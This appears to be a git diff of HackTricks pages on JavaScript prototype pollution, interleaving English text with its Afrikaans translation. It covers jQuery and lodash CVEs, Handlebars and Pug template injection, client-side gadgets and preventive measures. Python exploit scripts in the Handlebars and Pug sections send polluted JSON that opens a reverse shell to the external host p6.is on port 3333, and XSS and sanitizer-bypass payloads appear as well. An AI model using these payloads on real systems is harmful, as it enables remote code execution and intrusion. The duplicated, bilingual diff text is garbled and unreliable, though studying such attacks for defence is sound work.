Functions like `toString` and `valueOf` can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
Funksies soos `toString` en `valueOf` kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipesisteem demonstreer.
## Inheritance
## Erfenis
In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
In prototipe-gebaseerde programmering word eienskappe/metodes geërf deur voorwerpe van klasse. Hierdie klasse word geskep deur eienskappe/metodes by 'n instansie van 'n ander klas of by 'n leë voorwerp te voeg.
It should be noted that when a property is added to an object serving as the prototype for other objects (such as `myPersonObj`), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
Daar moet op gelet word dat wanneer 'n eienskap by 'n voorwerp gevoeg word wat as die prototipe vir ander voorwerpe dien (soos `myPersonObj`), die geërfde voorwerpe toegang tot hierdie nuwe eienskap verkry. Hierdie eienskap word egter nie outomaties vertoon nie, tensy dit eksplisiet aangeroep word.
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## \_\_proto\_\_ besoedeling <a href="#id-0d0a" id="id-0d0a"></a>
## Exploring Prototype Pollution in JavaScript
## Verkenning van Prototipe Besoedeling in JavaScript
JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
Let's use a different example to illustrate:
JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die verandering van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
Kom ons gebruik 'n ander voorbeeld om dit te illustreer:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
Access to the Object prototype is possible through:
Toegang tot die Object-prototipe is moontlik deur:
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
```
By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
Deur eienskappe aan die Object-prototipe toe te voeg, sal elke JavaScript-object hierdie nuwe eienskappe erf:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## prototype besoedeling
## prototype pollution
For a scenario where `__proto__` usage is restricted, modifying a function's prototype is an alternative:
Vir 'n scenario waar `__proto__` gebruik beperk is, is die aanpassing van 'n funksie se prototipe 'n alternatief:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
@ -105,65 +94,57 @@ console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
```
Dit raak slegs voorwerpe wat van die `Vehicle` konstruktors geskep is, en gee hulle die `beep`, `hasWheels`, `honk`, en `isElectric` eienskappe.
This affects only objects created from the `Vehicle` constructor, giving them the `beep`, `hasWheels`, `honk`, and `isElectric` properties.
Two methods to globally affect JavaScript objects through prototype pollution include:
1. Polluting the `Object.prototype` directly:
Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur middel van prototipe besoedeling sluit in:
1. Besoedeling van die `Object.prototype` direk:
```javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
console.log("Goodbye!")
}
```
2. Polluting the prototype of a constructor for a commonly used structure:
2. Besoedeling van die prototipe van 'n konstruksie vir 'n algemeen gebruikte struktuur:
```javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
console.log("Hello!")
}
```
Na hierdie operasies kan elke JavaScript-objek `goodbye` en `greet` metodes uitvoer.
After these operations, every JavaScript object can execute `goodbye` and `greet` methods.
## Besmetting van ander objek
## Polluting other objects
### From a class to Object.prototype
In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code:
### Van 'n klas na Object.prototype
In 'n scenario waar jy **'n spesifieke objek kan besmet** en jy moet **by `Object.prototype` kom**, kan jy daarna soek met iets soos die volgende kode:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```
### Array element besoedeling
### Array elements pollution
Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).
Let daarop dat jy, soos jy eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, jy ook **waardes van die array** wat **deur indekse** toeganklik is, kan **besoedel** (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).
```javascript
c = [1, 2]
a = []
@ -173,11 +154,9 @@ b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```
### Html element besoedeling
### Html elements pollution
When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die **`innerHTML`** attribuut te **oorwrite** om dit in staat te stel om **arbitraire HTML-kode** te skryf. [Idea en voorbeeld van hierdie skrywe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -188,121 +167,111 @@ settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```
## Voorbeelde
## Examples
### Basiese Voorbeeld
### Basic Example
A prototype pollution occurs due to a flaw in the application that allows overwriting properties on `Object.prototype`. This means that since most objects derive their properties from `Object.prototype`
The easies example is to add a value to an **undefiner attribute of an object** that is going to be checked, like:
'n Prototype besoedeling gebeur weens 'n fout in die toepassing wat die oorskryding van eienskappe op `Object.prototype` toelaat. Dit beteken dat aangesien die meeste voorwerpe hul eienskappe van `Object.prototype` aflei
Die maklikste voorbeeld is om 'n waarde by 'n **onbepaalde eienskap van 'n voorwerp** te voeg wat gaan nagegaan word, soos:
```javascript
if (user.admin) {
```
If the attribute **`admin` is undefined** it's possible to abuse a PP and set it to True with something like:
As die attribuut **`admin` is onbepaald** is dit moontlik om 'n PP te misbruik en dit op True te stel met iets soos:
```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, as 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die `__proto__` eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the `__proto__` property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
Die voorwaardes waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke [studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), sluit in:
The conditions under which this attack can be successfully executed, as outlined in a specific [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), include:
- Performing a recursive merge.
- Defining properties based on a path.
- Cloning objects.
### Override function
- Om 'n rekursiewe samesmelting uit te voer.
- Om eienskappe op grond van 'n pad te definieer.
- Om voorwerpe te kloon.
### Oorskry-funksie
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Pollution to RCE
### Proto Besoedeling na RCE
{{#ref}}
prototype-pollution-to-rce.md
{{#endref}}
Other payloads:
Ander payloads:
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Client-side prototype pollution to XSS
## Kliënt-kant prototype besoedeling na XSS
{{#ref}}
client-side-prototype-pollution.md
{{#endref}}
### CVE-201911358: Prototype pollution attack through jQuery $ .extend
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, the `$ .extend` function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
### CVE-201911358: Prototype besoedeling aanval deur jQuery $ .extend
[Vir verdere besonderhede, kyk hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery kan die `$ .extend` funksie lei tot prototype besoedeling as die diep kopie kenmerk verkeerdelik gebruik word. Hierdie funksie word algemeen gebruik om voorwerpe te kloon of eienskappe van 'n standaard voorwerp te meng. egter, wanneer verkeerd geconfigureer, kan eienskappe wat bedoel is vir 'n nuwe voorwerp aan die prototype toegeken word. Byvoorbeeld:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
Hierdie kwesbaarheid, geïdentifiseer as CVE-201911358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin toegang as eienskappe soos `isAdmin` nagegaan word sonder behoorlike bestaan verifikasie.
This vulnerability, identified as CVE-201911358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like `isAdmin` are checked without proper existence verification.
### CVE-20183721, CVE-201910744: Prototipe besoedeling aanval deur lodash
### CVE-20183721, CVE-201910744: Prototype pollution attack through lodash
[Vir verdere besonderhede, kyk hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) het soortgelyke prototipe besoedeling kwesbaarhede ondervind (CVE-20183721, CVE-201910744). Hierdie probleme is in weergawe 4.17.11 aangespreek.
[Lodash](https://www.npmjs.com/package/lodash) encountered similar prototype pollution vulnerabilities (CVE-20183721, CVE-201910744). These issues were addressed in version 4.17.11.
### Another tutorial with CVEs
### Nog 'n tutoriaal met CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Tools to detect Prototype Pollution
### Gereedskap om Prototipe Besoedeling te Detecteer
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): This extension identifies server side prototype pollution vulnerabilities. It uses techniques described in the [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te detecteer en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Hierdie uitbreiding identifiseer server kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
### AST Prototype Pollution in NodeJS
### AST Prototipe Besoedeling in NodeJS
NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
NodeJS gebruik uitgebreid Abstract Syntax Trees (AST) in JavaScript vir funksies soos sjabloon enjin en TypeScript. Hierdie afdeling verken die kwesbaarhede wat verband hou met prototipe besoedeling in sjabloon enjins, spesifiek Handlebars en Pug.
#### Handlebars Vulnerability Analysis
#### Handlebars Kwesbaarheid Analise
The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the `javascript-compiler.js` file. The `appendContent` function, for instance, concatenates `pendingContent` if it's present, while the `pushSource` function resets `pendingContent` to `undefined` after adding the source.
Die Handlebars sjabloon enjin is kwesbaar vir 'n prototipe besoedeling aanval. Hierdie kwesbaarheid ontstaan uit spesifieke funksies binne die `javascript-compiler.js` lêer. Die `appendContent` funksie, byvoorbeeld, voeg `pendingContent` by as dit teenwoordig is, terwyl die `pushSource` funksie `pendingContent` na `undefined` reset nadat die bron bygevoeg is.
**Exploitation Process**
**Eksploitasiestap**
The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
Die eksploitasiestap benut die AST (Abstract Syntax Tree) wat deur Handlebars geproduseer word, volgens hierdie stappe:
1. **Manipulation of the Parser**: Initially, the parser, via the `NumberLiteral` node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.
2. **Handling by the Compiler**: The compiler can process an AST Object or a string template. If `input.type` equals `Program`, the input is treated as pre-parsed, which can be exploited.
3. **Injection of Code**: Through manipulation of `Object.prototype`, one can inject arbitrary code into the template function, which may lead to remote code execution.
An example demonstrating the exploitation of the Handlebars vulnerability:
1. **Manipulasie van die Parser**: Aanvanklik, die parser, via die `NumberLiteral` node, afdwing dat waardes numeries is. Prototipe besoedeling kan dit omseil, wat die invoeging van nie-numeriese strings moontlik maak.
2. **Hantering deur die Compiler**: Die compiler kan 'n AST Object of 'n string sjabloon verwerk. As `input.type` gelyk is aan `Program`, word die invoer as vooraf-geparseer beskou, wat benut kan word.
3. **Inspuiting van Kode**: Deur manipulasie van `Object.prototype`, kan 'n mens arbitrêre kode in die sjabloon funksie inspuit, wat kan lei tot afstandkode-uitvoering.
'n Voorbeeld wat die eksploitering van die Handlebars kwesbaarheid demonstreer:
```javascript
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
@ -310,15 +279,13 @@ const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
```
Hierdie kode demonstreer hoe 'n aanvaller arbitrêre kode in 'n Handlebars-sjabloon kan inspuit.
This code showcases how an attacker could inject arbitrary code into a Handlebars template.
**Buitelandse Verwysing**: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier gedetailleerd: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
**External Reference**: An issue related to prototype pollution was found in the 'flat' library, as detailed here: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
Example of prototype pollution exploit in Python:
**Buitelandse Verwysing**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
Voorbeeld van prototipe besoedeling uitbuiting in Python:
```python
import requests
@ -326,31 +293,29 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
```
#### Pug Kwetsbaarheid
#### Pug Vulnerability
Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Example of prototype pollution in Pug:
Pug, 'n ander sjabloon enjin, ondervind 'n soortgelyke risiko van prototipe besoedeling. Gedetailleerde inligting is beskikbaar in die bespreking oor [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Voorbeeld van prototipe besoedeling in Pug:
```python
import requests
@ -358,33 +323,32 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
```
### Voorkomingsmaatreëls
### Preventive Measures
Om die risiko van prototipe besoedeling te verminder, kan die onderstaande strategieë toegepas word:
To reduce the risk of prototype pollution, the strategies listed below can be employed:
1. **Objek Immutabiliteit**: Die `Object.prototype` kan onwrikbaar gemaak word deur `Object.freeze` toe te pas.
2. **Invoer Validasie**: JSON-invoere moet streng gevalideer word teen die aansoek se skema.
3. **Veilige Samevoeg Funksies**: Die onveilige gebruik van rekursiewe samevoeg funksies moet vermy word.
4. **Prototipe-loos Objekte**: Objekte sonder prototipe eienskappe kan geskep word met `Object.create(null)`.
5. **Gebruik van Map**: In plaas van `Object`, moet `Map` gebruik word om sleutel-waarde pare te stoor.
6. **Biblioteek Opdaterings**: Sekuriteitsopdaterings kan ingesluit word deur gereeld biblioteke op te dateer.
7. **Linter en Statiese Analise Gereedskap**: Gebruik gereedskap soos ESLint met toepaslike plugins om prototipe besoedeling kwesbaarhede te ontdek en te voorkom.
8. **Kode Hersienings**: Implementeer deeglike kode hersienings om potensiële risiko's rakende prototipe besoedeling te identifiseer en te verhelp.
9. **Sekuriteitsopleiding**: Onderwys ontwikkelaars oor die risiko's van prototipe besoedeling en beste praktyke vir die skryf van veilige kode.
10. **Gebruik van Biblioteke met Versigtigheid**: Wees versigtig wanneer jy derdeparty biblioteke gebruik. Evalueer hul sekuriteitsposisie en hersien hul kode, veral dié wat objekte manipuleer.
11. **Runtime Beskerming**: Gebruik runtime beskermingsmeganismes soos om sekuriteitsgefokusde npm-pakkette te gebruik wat prototipe besoedeling aanvalle kan ontdek en voorkom.
1. **Object Immutability**: The `Object.prototype` can be made immutable by applying `Object.freeze`.
2. **Input Validation**: JSON inputs should be rigorously validated against the application's schema.
3. **Safe Merge Functions**: The unsafe use of recursive merge functions should be avoided.
4. **Prototype-less Objects**: Objects without prototype properties can be created using `Object.create(null)`.
5. **Use of Map**: Instead of `Object`, `Map` should be used for storing key-value pairs.
6. **Library Updates**: Security patches can be incorporated by regularly updating libraries.
7. **Linter and Static Analysis Tools**: Use tools like ESLint with appropriate plugins to detect and prevent prototype pollution vulnerabilities.
8. **Code Reviews**: Implement thorough code reviews to identify and remediate potential risks related to prototype pollution.
9. **Security Training**: Educate developers about the risks of prototype pollution and best practices for writing secure code.
10. **Using Libraries with Caution**: Be cautious while using third-party libraries. Assess their security posture and review their code, especially those manipulating objects.
11. **Runtime Protection**: Employ runtime protection mechanisms such as using security-focused npm packages which can detect and prevent prototype pollution attacks.
## References
## Verwysings
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
@ -392,4 +356,3 @@ To reduce the risk of prototype pollution, the strategies listed below can be em
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,79 +1,75 @@
# Client Side Prototype Pollution
# Kliëntkant Prototipe Besoedeling
{{#include ../../../banners/hacktricks-training.md}}
## Discovering using Automatic tools
## Ontdekking met outomatiese gereedskap
The tools [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **and** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) can be used to **find prototype pollution vulnerabilities**.
Die gereedskap [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **en** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) kan gebruik word om **prototipe besoedeling kwesbaarhede** te **vind**.
Moreover, you could also use the **browser extension** [**PPScan**](https://github.com/msrkp/PPScan) to **automatically** **scan** the **pages** you **access** for prototype pollution vulnerabilities.
### Debugging where a property is used <a href="#id-5530" id="id-5530"></a>
Boonop kan jy ook die **blaaier uitbreiding** [**PPScan**](https://github.com/msrkp/PPScan) gebruik om **outomaties** die **bladsye** wat jy **toegang** het te **skandeer** vir prototipe besoedeling kwesbaarhede.
### Foutopsporing waar 'n eienskap gebruik word <a href="#id-5530" id="id-5530"></a>
```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
__proto__: null,
get() {
console.trace()
return "test"
},
})
```
### Vind die oorsaak van Prototype Besoedeling <a href="#id-5530" id="id-5530"></a>
### Finding the root cause of Prototype Pollution <a href="#id-5530" id="id-5530"></a>
Sodra 'n prototype besoedelingskwesbaarheid deur enige van die gereedskap geïdentifiseer is, en as die kode nie oormatig kompleks is nie, kan jy die kwesbaarheid vind deur te soek na sleutelwoorde soos `location.hash`, `decodeURIComponent`, of `location.search` in die Chrome Ontwikkelaar Gereedskap. Hierdie benadering stel jou in staat om die kwesbare gedeelte van die JavaScript-kode te lokaliseer.
Once a prototype pollution vulnerability has been identified by any of the tools, and if the code is not overly complex, you might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, or `location.search` in the Chrome Developer Tools. This approach allows you to pinpoint the vulnerable section of the JavaScript code.
For larger and more complex codebases, a straightforward method to discover the vulnerable code involves the following steps:
1. Use a tool to identify a vulnerability and obtain a payload designed to set a property in the constructor. An example provided by ppmap might look like: `constructor[prototype][ppmap]=reserved`.
2. Set a breakpoint at the first line of JavaScript code that will execute on the page. Refresh the page with the payload, pausing the execution at this breakpoint.
3. While the JavaScript execution is paused, execute the following script in the JS console. This script will signal when the 'ppmap' property is created, aiding in locating its origin:
Vir groter en meer komplekse kodebasisse, behels 'n eenvoudige metode om die kwesbare kode te ontdek die volgende stappe:
1. Gebruik 'n gereedskap om 'n kwesbaarheid te identifiseer en 'n payload te verkry wat ontwerp is om 'n eienskap in die konstruktors te stel. 'n Voorbeeld wat deur ppmap verskaf word, kan soos volg lyk: `constructor[prototype][ppmap]=reserved`.
2. Stel 'n breekpunt op die eerste lyn van JavaScript-kode wat op die bladsy sal uitvoer. Vernuw die bladsy met die payload, en pauzeer die uitvoering by hierdie breekpunt.
3. Terwyl die JavaScript-uitvoering gepouseer is, voer die volgende skrip in die JS-konsol uit. Hierdie skrip sal aandui wanneer die 'ppmap' eienskap geskep word, wat help om die oorsprong daarvan te lokaliseer:
```javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
```
4. Navigeer terug na die **Sources** oortjie en kies “Resume script execution”. Die JavaScript sal voortgaan om uit te voer, en die 'ppmap' eienskap sal soos verwag besoedel word. Deur die verskafde snit te gebruik, kan die presiese ligging waar die 'ppmap' eienskap besoedel is, geïdentifiseer word. Deur die **Call Stack** te ondersoek, kan verskillende stakke waar die besoedeling plaasgevind het, waargeneem word.
4. Navigate back to the **Sources** tab and select “Resume script execution”. The JavaScript will continue executing, and the 'ppmap' property will be polluted as expected. Utilizing the provided snippet facilitates the identification of the exact location where the 'ppmap' property is polluted. By examining the **Call Stack**, different stacks where the pollution occurred can be observed.
When deciding which stack to investigate, it is often useful to target stacks associated with JavaScript library files, as prototype pollution frequently occurs within these libraries. Identify the relevant stack by examining its attachment to library files (visible on the right side, similar to an image provided for guidance). In scenarios with multiple stacks, such as those on lines 4 and 6, the logical choice is the stack on line 4, as it represents the initial occurrence of pollution and thereby the root cause of the vulnerability. Clicking on the stack will direct you to the vulnerable code.
Wanneer jy besluit watter stap om te ondersoek, is dit dikwels nuttig om stakke te teiken wat geassosieer word met JavaScript-biblioteeklêers, aangesien prototipe besoedeling dikwels binne hierdie biblioteke voorkom. Identifiseer die relevante stap deur dit te ondersoek in verband met biblioteeklêers (sigbaar aan die regterkant, soortgelyk aan 'n beeld wat vir leiding gegee word). In scenario's met verskeie stakke, soos dié op lyne 4 en 6, is die logiese keuse die stap op lyn 4, aangesien dit die aanvanklike voorkoms van besoedeling verteenwoordig en dus die wortel oorsaak van die kwesbaarheid. Deur op die stap te klik, sal jy na die kwesbare kode gelei word.
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Finding Script Gadgets
## Vind Script Gadgets
The gadget is the **code that will be abused once a PP vulnerability is discovered**.
Die gadget is die **kode wat misbruik sal word sodra 'n PP kwesbaarheid ontdek word**.
If the application is simple, we can **search** for **keywords** like **`srcdoc/innerHTML/iframe/createElement`** and review the source code and check if it l**eads to javascript execution**. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example.
As die aansoek eenvoudig is, kan ons **soek** na **sleutelwoorde** soos **`srcdoc/innerHTML/iframe/createElement`** en die brondkode hersien en kyk of dit l**eads to javascript execution**. Soms mag die genoem tegnieke glad nie gadgets vind nie. In daardie geval, onthul 'n suiwer brondkode hersiening 'n paar mooi gadgets soos die onderstaande voorbeeld.
### Example Finding PP gadget in Mithil library code
### Voorbeeld Vind PP gadget in Mithil biblioteek kode
Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
Kyk na hierdie skrywe: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilation of payloads for vulnerable libraries
## Herkompilering van payloads vir kwesbare biblioteke
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## HTML Sanitizers bypass via PP
## HTML Sanitizers omseiling via PP
[**This research**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) shows PP gadgets to use to **bypass the sanizations** provided by some HTML sanitizers libraries:
[**Hierdie navorsing**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) toon PP gadgets om te gebruik om **die sanitasies** wat deur sommige HTML sanitizers biblioteke verskaf word, te **omseil**:
- **sanitize-html**
@ -84,34 +80,31 @@ Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challe
<figure><img src="../../../images/image (1141).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
- **Closure**
```html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
goog.require('goog.html.sanitizer.HtmlSanitizer');
